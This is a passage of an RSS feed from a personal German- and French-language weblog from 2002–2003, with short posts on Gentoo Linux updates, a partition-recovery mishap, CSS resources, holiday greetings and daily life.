  16252.    <content:encoded><![CDATA[So, heute mal wieder bis 16:30 Uhr geschlafen ...
  16253. ]]></content:encoded>
  16254.  </item>
  16255.  
  16256.  <item>
  16257.    <title>humelela</title>
  16258.    <link>https://blog.x-way.org/Misc/2003/01/09/humelela.html</link>
  16259.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=246</guid>
  16260.    <dc:creator>Andreas Jaggi</dc:creator>
  16261.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16262.    <pubDate>Thu, 09 Jan 2003 22:18:00 +0100</pubDate>
  16263.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16264.    <description><![CDATA[Ce mot correspond &#224; "regarde vers l'avant". <br>Aujourd'hui en histoire bilingue il y avait un exposé contenant un chanson de l'Afrique de sud qui traite l'inégalité des femmes en Afrique, je pense que son title était ceci:<br><br>mamani humelela<br> <br>qui veut dire: maman, regarde vers l'avant.
  16265. ]]></description>
  16266.    <content:encoded><![CDATA[Ce mot correspond &#224; "regarde vers l'avant". <br>Aujourd'hui en histoire bilingue il y avait un exposé contenant un chanson de l'Afrique de sud qui traite l'inégalité des femmes en Afrique, je pense que son title était ceci:<br><br>mamani humelela<br> <br>qui veut dire: maman, regarde vers l'avant.
  16267. ]]></content:encoded>
  16268.  </item>
  16269.  
  16270.  <item>
  16271.    <title>Schnell</title>
  16272.    <link>https://blog.x-way.org/Linux/2003/01/08/Schnell.html</link>
  16273.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=245</guid>
  16274.    <dc:creator>Andreas Jaggi</dc:creator>
  16275.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16276.    <pubDate>Wed, 08 Jan 2003 22:22:00 +0100</pubDate>
  16277.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16278.    <description><![CDATA[Jetz hab ich doch erst <a href="http://www.waterwave.ch/weblog/detail.php?id=244"><b>vorhin</b></a> das ganze System aktualisiert, inklusive PHP (von 4.2.3 auf 4.3.0-r1). Und nun schaue ich wieder und es sind schon wieder fast 10 Updates verfügbar (z.B. PHP 4.3.0-r2). Manchmal ist mir <a href="http://www.gentoo.org/"><b>Gentoo</b></a> doch ein bisschen zu schnell ;-)
  16279. ]]></description>
  16280.    <content:encoded><![CDATA[Jetz hab ich doch erst <a href="http://www.waterwave.ch/weblog/detail.php?id=244"><b>vorhin</b></a> das ganze System aktualisiert, inklusive PHP (von 4.2.3 auf 4.3.0-r1). Und nun schaue ich wieder und es sind schon wieder fast 10 Updates verfügbar (z.B. PHP 4.3.0-r2). Manchmal ist mir <a href="http://www.gentoo.org/"><b>Gentoo</b></a> doch ein bisschen zu schnell ;-)
  16281. ]]></content:encoded>
  16282.  </item>
  16283.  
  16284.  <item>
  16285.    <title>Rundumerneuern</title>
  16286.    <link>https://blog.x-way.org/Linux/2003/01/08/Rundumerneuern.html</link>
  16287.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=244</guid>
  16288.    <dc:creator>Andreas Jaggi</dc:creator>
  16289.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16290.    <pubDate>Wed, 08 Jan 2003 16:48:00 +0100</pubDate>
  16291.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16292.    <description><![CDATA[Auf <a href="https://blog.x-way.org/images/emergeupworld.jpg"><b>diesem Screenshot</b></a> sieht man wie mittels <pre>emerge -u world</pre> die installierten Programme aktualisiert werden.<br><br>Das Theme für <a href="http://fluxbox.org/"><b>fluxbox</b></a> nennt sich <b>SLdr</b> und stammt von <a href="http://kniebes.com/"><b>mk</b></a>. Den Hintergrund kann man <a href="https://blog.x-way.org/images/pilat.jpg"><b>hier</b></a> finden.
  16293. ]]></description>
  16294.    <content:encoded><![CDATA[Auf <a href="https://blog.x-way.org/images/emergeupworld.jpg"><b>diesem Screenshot</b></a> sieht man wie mittels <pre>emerge -u world</pre> die installierten Programme aktualisiert werden.<br><br>Das Theme für <a href="http://fluxbox.org/"><b>fluxbox</b></a> nennt sich <b>SLdr</b> und stammt von <a href="http://kniebes.com/"><b>mk</b></a>. Den Hintergrund kann man <a href="https://blog.x-way.org/images/pilat.jpg"><b>hier</b></a> finden.
  16295. ]]></content:encoded>
  16296.  </item>
  16297.  
  16298.  <item>
  16299.    <title>Am Umsteigen</title>
  16300.    <link>https://blog.x-way.org/Linux/2003/01/08/Am_Umsteigen.html</link>
  16301.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=243</guid>
  16302.    <dc:creator>Andreas Jaggi</dc:creator>
  16303.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16304.    <pubDate>Wed, 08 Jan 2003 16:29:00 +0100</pubDate>
  16305.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16306.    <description><![CDATA[Ich hab grad 'E: (Games)' plattgemacht und mit <pre>mke2fs -j /dev/hda6</pre> und diesem Eintrag in /etc/fstab <pre>/dev/hda6 /usr/local/games ext3 noatime,user 0 0</pre> wiederbelebt ;-)
  16307. ]]></description>
  16308.    <content:encoded><![CDATA[Ich hab grad 'E: (Games)' plattgemacht und mit <pre>mke2fs -j /dev/hda6</pre> und diesem Eintrag in /etc/fstab <pre>/dev/hda6 /usr/local/games ext3 noatime,user 0 0</pre> wiederbelebt ;-)
  16309. ]]></content:encoded>
  16310.  </item>
  16311.  
  16312.  <item>
  16313.    <title>Eisig</title>
  16314.    <link>https://blog.x-way.org/Misc/2003/01/07/Eisig.html</link>
  16315.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=242</guid>
  16316.    <dc:creator>Andreas Jaggi</dc:creator>
  16317.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16318.    <pubDate>Tue, 07 Jan 2003 16:57:00 +0100</pubDate>
  16319.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16320.    <description><![CDATA[Als ich heute Morgen um 10 vor 6 frischgeduscht zum Bahnhof rannte, musste ich feststellen, dass meine noch nicht ganz getrockneten Haare gefrohren waren!
  16321. ]]></description>
  16322.    <content:encoded><![CDATA[Als ich heute Morgen um 10 vor 6 frischgeduscht zum Bahnhof rannte, musste ich feststellen, dass meine noch nicht ganz getrockneten Haare gefrohren waren!
  16323. ]]></content:encoded>
  16324.  </item>
  16325.  
  16326.  <item>
  16327.    <title>LingoFox (r)</title>
  16328.    <link>https://blog.x-way.org/School/2003/01/06/LingoFox_r.html</link>
  16329.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=241</guid>
  16330.    <dc:creator>Andreas Jaggi</dc:creator>
  16331.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16332.    <pubDate>Mon, 06 Jan 2003 22:23:00 +0100</pubDate>
  16333.    <category domain="https://blog.x-way.org/School/">School</category>
  16334.    <description><![CDATA[<a href="https://web.archive.org/web/20030108222722/http://www.monoklon.de/index.php"><b>Michael</b></a> hat eine evtl. sehr hilfreiche Website gefunden: <a href="https://web.archive.org/web/20030124010032/http://konjugator.lingofox.de/index.htm"><b>Verben konjugieren mit LingoFox dem Konjugator</b></a><br><br>Leider darf man während den Franz.-Proben nicht ins Internet *g*
  16335. ]]></description>
  16336.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20030108222722/http://www.monoklon.de/index.php"><b>Michael</b></a> hat eine evtl. sehr hilfreiche Website gefunden: <a href="https://web.archive.org/web/20030124010032/http://konjugator.lingofox.de/index.htm"><b>Verben konjugieren mit LingoFox dem Konjugator</b></a><br><br>Leider darf man während den Franz.-Proben nicht ins Internet *g*
  16337. ]]></content:encoded>
  16338.  </item>
  16339.  
  16340.  <item>
  16341.    <title>Schlaf?</title>
  16342.    <link>https://blog.x-way.org/Misc/2003/01/06/Schlaf1.html</link>
  16343.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=240</guid>
  16344.    <dc:creator>Andreas Jaggi</dc:creator>
  16345.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16346.    <pubDate>Mon, 06 Jan 2003 00:27:00 +0100</pubDate>
  16347.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16348.    <description><![CDATA[Heute hab ich von etwa 01:30 bis 16 Uhr geschlafen, 15.5 Stunden! Das ist neuer Rekord! ;-)
  16349. ]]></description>
  16350.    <content:encoded><![CDATA[Heute hab ich von etwa 01:30 bis 16 Uhr geschlafen, 15.5 Stunden! Das ist neuer Rekord! ;-)
  16351. ]]></content:encoded>
  16352.  </item>
  16353.  
  16354.  <item>
  16355.    <title>Es ist wieder soweit</title>
  16356.    <link>https://blog.x-way.org/Linux/2003/01/01/Es_ist_wieder_soweit.html</link>
  16357.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=239</guid>
  16358.    <dc:creator>Andreas Jaggi</dc:creator>
  16359.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16360.    <pubDate>Wed, 01 Jan 2003 13:43:00 +0100</pubDate>
  16361.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16362.    <description><![CDATA[Mein Gentoo ist wieder einmal neu kompiliert. Diesmal hab ich mir die Zeit genomen und <a href="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/3100FF4795B3F31F86256AF70056FDB3?OpenDocument"><b>dieses Tutorial</b></a> über XFree86 ganz durchgelesen. Daher weiss ich nun, wie man den Windowmanager einstellt. Vermutlich kommt es auch daher, dass ich GNOME noch nie gestartet habe sondern die ganze Zeit mit <a href="http://www.fluxbox.org"><b>Fluxbox</b></a> arbeitet ;-)<br><br><a href="https://blog.x-way.org/images/fluxbox.jpg"><b>Einen Screenshot</b></a> gibt's natürlich auch.
  16363. ]]></description>
  16364.    <content:encoded><![CDATA[Mein Gentoo ist wieder einmal neu kompiliert. Diesmal hab ich mir die Zeit genomen und <a href="http://www-105.ibm.com/developerworks/education.nsf/linux-onlinecourse-bytitle/3100FF4795B3F31F86256AF70056FDB3?OpenDocument"><b>dieses Tutorial</b></a> über XFree86 ganz durchgelesen. Daher weiss ich nun, wie man den Windowmanager einstellt. Vermutlich kommt es auch daher, dass ich GNOME noch nie gestartet habe sondern die ganze Zeit mit <a href="http://www.fluxbox.org"><b>Fluxbox</b></a> arbeitet ;-)<br><br><a href="https://blog.x-way.org/images/fluxbox.jpg"><b>Einen Screenshot</b></a> gibt's natürlich auch.
  16365. ]]></content:encoded>
  16366.  </item>
  16367.  
  16368.  <item>
  16369.    <title>2k3</title>
  16370.    <link>https://blog.x-way.org/Misc/2002/12/31/2k3.html</link>
  16371.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=238</guid>
  16372.    <dc:creator>Andreas Jaggi</dc:creator>
  16373.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16374.    <pubDate>Tue, 31 Dec 2002 23:59:01 +0100</pubDate>
  16375.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16376.    <description><![CDATA[Bonne année!
  16377. ]]></description>
  16378.    <content:encoded><![CDATA[Bonne année!
  16379. ]]></content:encoded>
  16380.  </item>
  16381.  
  16382.  <item>
  16383.    <title>2k3 (wie beim UT ;-)</title>
  16384.    <link>https://blog.x-way.org/Misc/2002/12/31/2k3_wie_beim_UT_-.html</link>
  16385.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=237</guid>
  16386.    <dc:creator>Andreas Jaggi</dc:creator>
  16387.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16388.    <pubDate>Tue, 31 Dec 2002 23:59:00 +0100</pubDate>
  16389.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16390.    <description><![CDATA[Frohes Neues Jahr!<br>Das mit den Vorsätzen lassen wir jetzt mal ;-)
  16391. ]]></description>
  16392.    <content:encoded><![CDATA[Frohes Neues Jahr!<br>Das mit den Vorsätzen lassen wir jetzt mal ;-)
  16393. ]]></content:encoded>
  16394.  </item>
  16395.  
  16396.  <item>
  16397.    <title>Phiki Wiki pour tous</title>
  16398.    <link>https://blog.x-way.org/Misc/2002/12/30/Phiki_Wiki_pour_tous.html</link>
  16399.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=236</guid>
  16400.    <dc:creator>Andreas Jaggi</dc:creator>
  16401.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16402.    <pubDate>Mon, 30 Dec 2002 00:55:00 +0100</pubDate>
  16403.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16404.    <description><![CDATA[Sur <a href="https://phiki.x-way.org/"><b>https://phiki.x-way.org/</b></a> vous pouvez écrire, créer, jouer, bavarder, politiser, publier ...<br><br>Faites-le! ;-)
  16405. ]]></description>
  16406.    <content:encoded><![CDATA[Sur <a href="https://phiki.x-way.org/"><b>https://phiki.x-way.org/</b></a> vous pouvez écrire, créer, jouer, bavarder, politiser, publier ...<br><br>Faites-le! ;-)
  16407. ]]></content:encoded>
  16408.  </item>
  16409.  
  16410.  <item>
  16411.    <title>Spielwiese</title>
  16412.    <link>https://blog.x-way.org/Misc/2002/12/30/Spielwiese.html</link>
  16413.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=235</guid>
  16414.    <dc:creator>Andreas Jaggi</dc:creator>
  16415.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16416.    <pubDate>Mon, 30 Dec 2002 00:50:00 +0100</pubDate>
  16417.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16418.    <description><![CDATA[Wer das Bedürfnis hat, der Welt etwas mitzuteilen, kreativ zu sein, Kommunikation zu betreiben, zu spielen, literarische Kunstwerke zu veröffentlichen, das Internet mitzugestalten, seine Meinung zu publizieren, Politik zu machen wollen oder sich einfach mit einem Wiki auszutoben, der hat nun <a href="https://phiki.x-way.org/"><b>hier</b></a> die Möglichkeit dazu. ;-)<br><br>Auf <a href="https://phiki.x-way.org/"><b>https://phiki.x-way.org/</b></a> dürft ihr eurer Fantasie freien Lauf lassen, damit auch Leute die Gelegenheit haben, etwas 'ins Internet zu stellen', die kein Weblog und keine Homepage haben. Also: Schreibt!
  16419. ]]></description>
  16420.    <content:encoded><![CDATA[Wer das Bedürfnis hat, der Welt etwas mitzuteilen, kreativ zu sein, Kommunikation zu betreiben, zu spielen, literarische Kunstwerke zu veröffentlichen, das Internet mitzugestalten, seine Meinung zu publizieren, Politik zu machen wollen oder sich einfach mit einem Wiki auszutoben, der hat nun <a href="https://phiki.x-way.org/"><b>hier</b></a> die Möglichkeit dazu. ;-)<br><br>Auf <a href="https://phiki.x-way.org/"><b>https://phiki.x-way.org/</b></a> dürft ihr eurer Fantasie freien Lauf lassen, damit auch Leute die Gelegenheit haben, etwas 'ins Internet zu stellen', die kein Weblog und keine Homepage haben. Also: Schreibt!
  16421. ]]></content:encoded>
  16422.  </item>
  16423.  
  16424.  <item>
  16425.    <title>Nacht des Schreckens</title>
  16426.    <link>https://blog.x-way.org/Tech/2002/12/28/Nacht_des_Schreckens.html</link>
  16427.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=234</guid>
  16428.    <dc:creator>Andreas Jaggi</dc:creator>
  16429.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16430.    <pubDate>Sat, 28 Dec 2002 14:16:00 +0100</pubDate>
  16431.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  16432.    <description><![CDATA[Gestern Abend, beim Linuxneuaufsetzen, als ich mit cfdisk herumgewerkelt habe, hatte ich wohl eine ganz schwache Sekunde: ich habe die $HOME-Partition gelöscht und die Partitionstabelle gespeichert!
  16433. <br>Als ich es ein paar Minuten später realisierte, bin ich verständlicherweise fast vom Stuhl gefallen. Also: Computer sofort abstellen, damit die Chancen möglichst gross bleiben, ein paar Daten wiederherzustellen. Dann neu booten mit Partiton-Magic  und mit 'Wiederherstellen' herumüben. Aber das blieb ohne Erfolg, Partition-Magic wollte von der Partition nichts gesehen haben. Also nochmal Computer ausschalten. Mit dem Zweitcomputer im Internet nach 'Datenrettung fat-partition gelöscht' suchen und ein paar Seiten zum Thema finden. (<a href="https://web.archive.org/web/20030412184329/http://www.tecchannel.de/hardware/651/index.html"><b>Artikel zum Thema</b></a>, <a href="http://www.ontrack.de/"><b>OnTrack.de</b></a>, <a href="http://www.datenretter.de/"><b>Datenretter.de</b></a>). Schliesslich finde ich <a href="https://web.archive.org/web/20021012120141/http://www.pcinspector.de/file_recovery/welcome.htm"><b>dieses Tool</b></a>. Nun bei meinem Computer die HDs so umhängen, dass die alte IBM-Platte bootet (hat glücklicherweise noch ein W2K drauf). Hätte nicht gedacht, dass ich die nocheinmal benutzen würde. Also, das Tool draufgetan und mit der alten Platte geboote, die zu bearbeitende als Slave angehängt. Mit dem Tool die Festplatte nach Partitionen und Ordnern und sonstigen Daten abgesucht, bit für bit nehme ich an (jedenfalls hat es so lange gedauert ;-)
  16434. <br>Zu meinem erfreulichen Erstaunen hat es sogar etwas gefunden: 36 Partitionen, von insgesamt 15 die auf der Platte sind und 4 die im durchsuchten Bereich liegen. Beim anschauen der gefundenen Daten durfte ich feststellen, dass noch alle Daten erhalten waren. Die 36 Partitionen kamen vermutlich weil ich einen Ordner mit ISO-Images verschiedener Unix-Distributionen hatte. Nun begann ich die Daten auf die alte Festplatte zu speichern, wozu ich dort fast alle Programme löschen musste, um Platz zu schaffen *g*
  16435. <br>Nachdem diese langwierige Prozedur abgeschlossen war Rechner herunterfahren. Die HDs wieder neu umhängen, so das wieder meine Platte am Master
  16436. hängt. Mit der Gentoo-Live-CD booten und mittels cfdisk die Partition neu erstellen und den Typ wieder auf Fat32 setzen. Neu booten und erfreut feststellen, dass der MBR mit einem GRUB gefüllt ist, das noch nicht vollständig installiert ist, da ich ja die Linuxinstallation abgebrochen habe. Also erneutes Suchen im Web. Beim SUSE-SUpport wurde ich schliesslich fündig: W2K-Installations-Disk einlegen und neu booten, dann R für reparieren und dann K für Wiederherstellungskonsole, W2K-Partition auswählen und Admin-Passwort eingeben. Dann mittels fixmbr den MBR wiederherstellen und mit exit neu booten. Windows aufstarten lassen. Einloggen. Arbeitsplatz öffnen, um die geretteten Dateien von der alten HD zurückzukopieren. Zu meine grossen Erstaunen, finde ist die neu erstellte Partition schon so beschriftet, wie die alte war! Ein Doppelklick darauf bringt erstaunlicherwese den Inhalt der alten Partition zum Vorschein, es ist alles noch da! Windows hat also gar nicht bemerkt, dass die Partition eigentlich neu ist und hat einfach die alten Daten zugeordnet! So habe ich dann das zurückkopieren der geretteten Daten bleiben lassen. Den Computer heruntergefahren und die alte HD wieder ausgebaut. Noch ein letzter Start von Windows, alle Daten sind noch da, und dann ab ins Bett, um <u>7 Uhr Morgens !!!</u>
  16437. <br><br>Wenn ihr also mal eine Nacht nicht schlafen wollt, könnt ihr ja eure $HOME-Partition löschen, da bleibt die Spannung bis zum Schluss erhalten, garantiert! ;-)
  16438. ]]></description>
  16439.    <content:encoded><![CDATA[Gestern Abend, beim Linuxneuaufsetzen, als ich mit cfdisk herumgewerkelt habe, hatte ich wohl eine ganz schwache Sekunde: ich habe die $HOME-Partition gelöscht und die Partitionstabelle gespeichert!
  16440. <br>Als ich es ein paar Minuten später realisierte, bin ich verständlicherweise fast vom Stuhl gefallen. Also: Computer sofort abstellen, damit die Chancen möglichst gross bleiben, ein paar Daten wiederherzustellen. Dann neu booten mit Partiton-Magic  und mit 'Wiederherstellen' herumüben. Aber das blieb ohne Erfolg, Partition-Magic wollte von der Partition nichts gesehen haben. Also nochmal Computer ausschalten. Mit dem Zweitcomputer im Internet nach 'Datenrettung fat-partition gelöscht' suchen und ein paar Seiten zum Thema finden. (<a href="https://web.archive.org/web/20030412184329/http://www.tecchannel.de/hardware/651/index.html"><b>Artikel zum Thema</b></a>, <a href="http://www.ontrack.de/"><b>OnTrack.de</b></a>, <a href="http://www.datenretter.de/"><b>Datenretter.de</b></a>). Schliesslich finde ich <a href="https://web.archive.org/web/20021012120141/http://www.pcinspector.de/file_recovery/welcome.htm"><b>dieses Tool</b></a>. Nun bei meinem Computer die HDs so umhängen, dass die alte IBM-Platte bootet (hat glücklicherweise noch ein W2K drauf). Hätte nicht gedacht, dass ich die nocheinmal benutzen würde. Also, das Tool draufgetan und mit der alten Platte geboote, die zu bearbeitende als Slave angehängt. Mit dem Tool die Festplatte nach Partitionen und Ordnern und sonstigen Daten abgesucht, bit für bit nehme ich an (jedenfalls hat es so lange gedauert ;-)
  16441. <br>Zu meinem erfreulichen Erstaunen hat es sogar etwas gefunden: 36 Partitionen, von insgesamt 15 die auf der Platte sind und 4 die im durchsuchten Bereich liegen. Beim anschauen der gefundenen Daten durfte ich feststellen, dass noch alle Daten erhalten waren. Die 36 Partitionen kamen vermutlich weil ich einen Ordner mit ISO-Images verschiedener Unix-Distributionen hatte. Nun begann ich die Daten auf die alte Festplatte zu speichern, wozu ich dort fast alle Programme löschen musste, um Platz zu schaffen *g*
  16442. <br>Nachdem diese langwierige Prozedur abgeschlossen war Rechner herunterfahren. Die HDs wieder neu umhängen, so das wieder meine Platte am Master
  16443. hängt. Mit der Gentoo-Live-CD booten und mittels cfdisk die Partition neu erstellen und den Typ wieder auf Fat32 setzen. Neu booten und erfreut feststellen, dass der MBR mit einem GRUB gefüllt ist, das noch nicht vollständig installiert ist, da ich ja die Linuxinstallation abgebrochen habe. Also erneutes Suchen im Web. Beim SUSE-SUpport wurde ich schliesslich fündig: W2K-Installations-Disk einlegen und neu booten, dann R für reparieren und dann K für Wiederherstellungskonsole, W2K-Partition auswählen und Admin-Passwort eingeben. Dann mittels fixmbr den MBR wiederherstellen und mit exit neu booten. Windows aufstarten lassen. Einloggen. Arbeitsplatz öffnen, um die geretteten Dateien von der alten HD zurückzukopieren. Zu meine grossen Erstaunen, finde ist die neu erstellte Partition schon so beschriftet, wie die alte war! Ein Doppelklick darauf bringt erstaunlicherwese den Inhalt der alten Partition zum Vorschein, es ist alles noch da! Windows hat also gar nicht bemerkt, dass die Partition eigentlich neu ist und hat einfach die alten Daten zugeordnet! So habe ich dann das zurückkopieren der geretteten Daten bleiben lassen. Den Computer heruntergefahren und die alte HD wieder ausgebaut. Noch ein letzter Start von Windows, alle Daten sind noch da, und dann ab ins Bett, um <u>7 Uhr Morgens !!!</u>
  16444. <br><br>Wenn ihr also mal eine Nacht nicht schlafen wollt, könnt ihr ja eure $HOME-Partition löschen, da bleibt die Spannung bis zum Schluss erhalten, garantiert! ;-)
  16445. ]]></content:encoded>
  16446.  </item>
  16447.  
  16448.  <item>
  16449.    <title>CSS</title>
  16450.    <link>https://blog.x-way.org/Webdesign/2002/12/27/CSS.html</link>
  16451.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=233</guid>
  16452.    <dc:creator>Andreas Jaggi</dc:creator>
  16453.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16454.    <pubDate>Fri, 27 Dec 2002 13:48:00 +0100</pubDate>
  16455.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  16456.    <description><![CDATA[<a href="http://www.stichpunkt.de/css/"><b>Hier</b></a> hat es unter anderem einige Beispiellayouts, tabellenlos versteht sich.<br><a href="https://web.archive.org/web/20030207081638/http://www.scottandrew.com/weblog/2002_10"><b>Hier</b></a> hat es einige Links zu tabellenlosen Seiten und zu CSS-Tutorials.<br><a href="http://www.meryl.net/css/"><b>Hier</b></a>  hat es Links zu 900 tabellenlosen Websites.
  16457. ]]></description>
  16458.    <content:encoded><![CDATA[<a href="http://www.stichpunkt.de/css/"><b>Hier</b></a> hat es unter anderem einige Beispiellayouts, tabellenlos versteht sich.<br><a href="https://web.archive.org/web/20030207081638/http://www.scottandrew.com/weblog/2002_10"><b>Hier</b></a> hat es einige Links zu tabellenlosen Seiten und zu CSS-Tutorials.<br><a href="http://www.meryl.net/css/"><b>Hier</b></a>  hat es Links zu 900 tabellenlosen Websites.
  16459. ]]></content:encoded>
  16460.  </item>
  16461.  
  16462.  <item>
  16463.    <title>Bonnes Fêtes!</title>
  16464.    <link>https://blog.x-way.org/Misc/2002/12/24/34.html</link>
  16465.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=232</guid>
  16466.    <dc:creator>Andreas Jaggi</dc:creator>
  16467.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16468.    <pubDate>Tue, 24 Dec 2002 16:51:01 +0100</pubDate>
  16469.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16470.    <description><![CDATA[Bonnes Fêtes!
  16471. ]]></description>
  16472.    <content:encoded><![CDATA[Bonnes Fêtes!
  16473. ]]></content:encoded>
  16474.  </item>
  16475.  
  16476.  <item>
  16477.    <title>Fröhliche Weihnachten</title>
  16478.    <link>https://blog.x-way.org/Misc/2002/12/24/23.html</link>
  16479.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=231</guid>
  16480.    <dc:creator>Andreas Jaggi</dc:creator>
  16481.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16482.    <pubDate>Tue, 24 Dec 2002 16:51:00 +0100</pubDate>
  16483.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16484.    <description><![CDATA[Fröhliche Weihnachten
  16485. ]]></description>
  16486.    <content:encoded><![CDATA[Fröhliche Weihnachten
  16487. ]]></content:encoded>
  16488.  </item>
  16489.  
  16490.  <item>
  16491.    <title>Mist</title>
  16492.    <link>https://blog.x-way.org/Linux/2002/12/23/Mist.html</link>
  16493.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=230</guid>
  16494.    <dc:creator>Andreas Jaggi</dc:creator>
  16495.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16496.    <pubDate>Mon, 23 Dec 2002 15:39:00 +0100</pubDate>
  16497.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16498.    <description><![CDATA[Eigentlich sollte hier eine Meldung über die erfolgreiche Installation von <a href="http://www.gentoo.org"><b>Gentoo</b></a> stehen, aber irgendetwas ist da wohl schief gelaufen, denn ich kann Gentoo zwar ohne Probleme starten, aber wenn ich z.b. <span style="font-family: monospace;">emerge sync</span> eingebe, erscheint ein Fehler, dass die URL nicht aufgelöst werden konnte und auch wenn ich <span style="font-family: monospace;">ping waterwave.ch</span> oder so eingebe, erscheint die Fehlermeldung; folglich muss ich wohl die ganze Installation noch einmal machen :-(
  16499. ]]></description>
  16500.    <content:encoded><![CDATA[Eigentlich sollte hier eine Meldung über die erfolgreiche Installation von <a href="http://www.gentoo.org"><b>Gentoo</b></a> stehen, aber irgendetwas ist da wohl schief gelaufen, denn ich kann Gentoo zwar ohne Probleme starten, aber wenn ich z.b. <span style="font-family: monospace;">emerge sync</span> eingebe, erscheint ein Fehler, dass die URL nicht aufgelöst werden konnte und auch wenn ich <span style="font-family: monospace;">ping waterwave.ch</span> oder so eingebe, erscheint die Fehlermeldung; folglich muss ich wohl die ganze Installation noch einmal machen :-(
  16501. ]]></content:encoded>
  16502.  </item>
  16503.  
  16504.  <item>
  16505.    <title>Ferien</title>
  16506.    <link>https://blog.x-way.org/Linux/2002/12/21/Ferien.html</link>
  16507.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=229</guid>
  16508.    <dc:creator>Andreas Jaggi</dc:creator>
  16509.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16510.    <pubDate>Sat, 21 Dec 2002 11:56:00 +0100</pubDate>
  16511.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16512.    <description><![CDATA[So, die Schule in diesem Jahr haben wir auch überlebt, sogar der Absturz gestern Abend war nicht so schlimm ausgefallen (durfte einfach im Zug die Augen nicht schliessen, weil's mich sonst vornüber geworfen hätte, weil alles so gedreht hat *g*). Einen Screenshot für die Sammlung von <a href="https://web.archive.org/web/20021221000000/http://sec.digigeek.net/"><b>sec</b></a>, <a href="http://www.robwei.de/"><b>rw</b></a> und <a href="http://kniebes.com/"><b>mk</b></a> gibt's wenn ich <a href="http://gentoo.org/"><b>Gentoo</b></a> neu installiert habe ...
  16513. ]]></description>
  16514.    <content:encoded><![CDATA[So, die Schule in diesem Jahr haben wir auch überlebt, sogar der Absturz gestern Abend war nicht so schlimm ausgefallen (durfte einfach im Zug die Augen nicht schliessen, weil's mich sonst vornüber geworfen hätte, weil alles so gedreht hat *g*). Einen Screenshot für die Sammlung von <a href="https://web.archive.org/web/20021221000000/http://sec.digigeek.net/"><b>sec</b></a>, <a href="http://www.robwei.de/"><b>rw</b></a> und <a href="http://kniebes.com/"><b>mk</b></a> gibt's wenn ich <a href="http://gentoo.org/"><b>Gentoo</b></a> neu installiert habe ...
  16515. ]]></content:encoded>
  16516.  </item>
  16517.  
  16518.  <item>
  16519.    <title>Geldmacherei</title>
  16520.    <link>https://blog.x-way.org/Misc/2002/12/16/Geldmacherei.html</link>
  16521.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=228</guid>
  16522.    <dc:creator>Andreas Jaggi</dc:creator>
  16523.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16524.    <pubDate>Mon, 16 Dec 2002 22:44:00 +0100</pubDate>
